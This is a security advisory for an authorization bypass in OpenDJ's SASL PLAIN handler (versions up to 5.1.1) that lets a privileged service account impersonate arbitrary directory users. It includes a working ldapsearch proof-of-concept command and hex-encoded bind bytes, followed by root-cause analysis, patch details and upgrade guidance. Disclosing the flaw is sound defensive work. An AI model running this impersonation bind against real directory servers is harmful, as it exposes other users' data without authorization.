critical · 9.6Jul 24, 2026

OpenDJ SASL PLAIN authzid Proxy ACI Authorization Bypass

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

OpenDJ's SASL PLAIN handler let any account with the proxied-auth privilege impersonate arbitrary directory users by supplying an authzid at bind time, skipping the proxy ACI check that every other…

Packageorg.openidentityplatform.opendj:opendj-server-legacy
Ecosystemmaven
Affected<= 5.1.1
Fixed in5.1.2
OpenDJ SASL PLAIN authzid Proxy ACI Authorization Bypass

The problem

In OpenDJ <= 5.1.1, the PlainSASLMechanismHandler checked only whether the authenticating account held the proxied-auth privilege when a SASL PLAIN bind included an authzid field pointing to a different user. It never called the mayProxy ACI scope check.

Every other proxy-capable mechanism in OpenDJ (DIGEST-MD5, GSSAPI, and the RFC 4370 Proxied Authorization Control) requires BOTH the privilege AND a matching proxy ACI grant. PLAIN silently skipped the second gate, so any service account with the privilege could impersonate any resolvable non-root identity in the directory, regardless of what ACIs the deployment had configured.

Proof of concept

A working proof-of-concept for this issue in org.openidentityplatform.opendj:opendj-server-legacy, with the exact payload below.

bash
# Attacker controls an account (uid=svc,ou=apps,dc=example,dc=com)
# that has the proxied-auth privilege but NO proxy ACI for the target.
# SASL PLAIN wire format (RFC 4616): authzid NUL authcid NUL passwd
# The three fields are concatenated with 0x00 bytes as separators.

ldapsearch \
  --hostname ldap.example.com \
  --port 389 \
  --saslOption mech=PLAIN \
  --saslOption authid=dn:uid=svc,ou=apps,dc=example,dc=com \
  --saslOption authzid=dn:uid=victim,ou=people,dc=example,dc=com \
  --bindPassword 'svc-password' \
  --baseDN 'ou=people,dc=example,dc=com' \
  --searchScope sub \
  '(objectClass=*)'

# Equivalent raw LDAP bind credential bytes (hex):
# 64 6e 3a 75 69 64 3d 76 69 63 74 69 6d 2c 6f 75  <- authzid field
# 3d 70 65 6f 70 6c 65 2c 64 63 3d 65 78 61 6d 70
# 6c 65 2c 64 63 3d 63 6f 6d
# 00                                                <- NUL separator
# 75 69 64 3d 73 76 63 2c 6f 75 3d 61 70 70 73 2c  <- authcid field
# 64 63 3d 65 78 61 6d 70 6c 65 2c 64 63 3d 63 6f
# 6d
# 00                                                <- NUL separator
# 73 76 63 2d 70 61 73 73 77 6f 72 64               <- password

# On unpatched servers this bind SUCCEEDS and the session runs as
# uid=victim even though no proxy ACI grants svc that right.
# The u: bare-username form works identically:
# authzid=u:victim.username

The root cause is a missing authorization check in PlainSASLMechanismHandler. When authzid != authcid the handler called hasPrivilege(PROXIED_AUTH) and then proceeded directly to password verification, never invoking the hasProxyAccess helper used by DIGEST-MD5 and GSSAPI.

The patch at commit 5c326850 adds a hasProxyAccess call for both the dn: and u: authzid forms on the PLAIN path, and moves the denial to INVALID_CREDENTIALS (49) *before* password verification. This timing parity prevents an unauthenticated caller from probing whether a denial is due to a missing privilege or a missing ACI grant.

CWE-863 (Incorrect Authorization) / CWE-639 (Authorization Bypass Through User-Controlled Key).

The fix

Upgrade to OpenDJ 5.1.2, which enforces the mayProxy ACI scope check on the SASL PLAIN authzid path. If upgrading is not immediately possible, revoke or restrict the proxied-auth privilege from all service accounts until the patch is applied.

Reported by hypnguyen1209.

References: [1][2][3][4]

Related research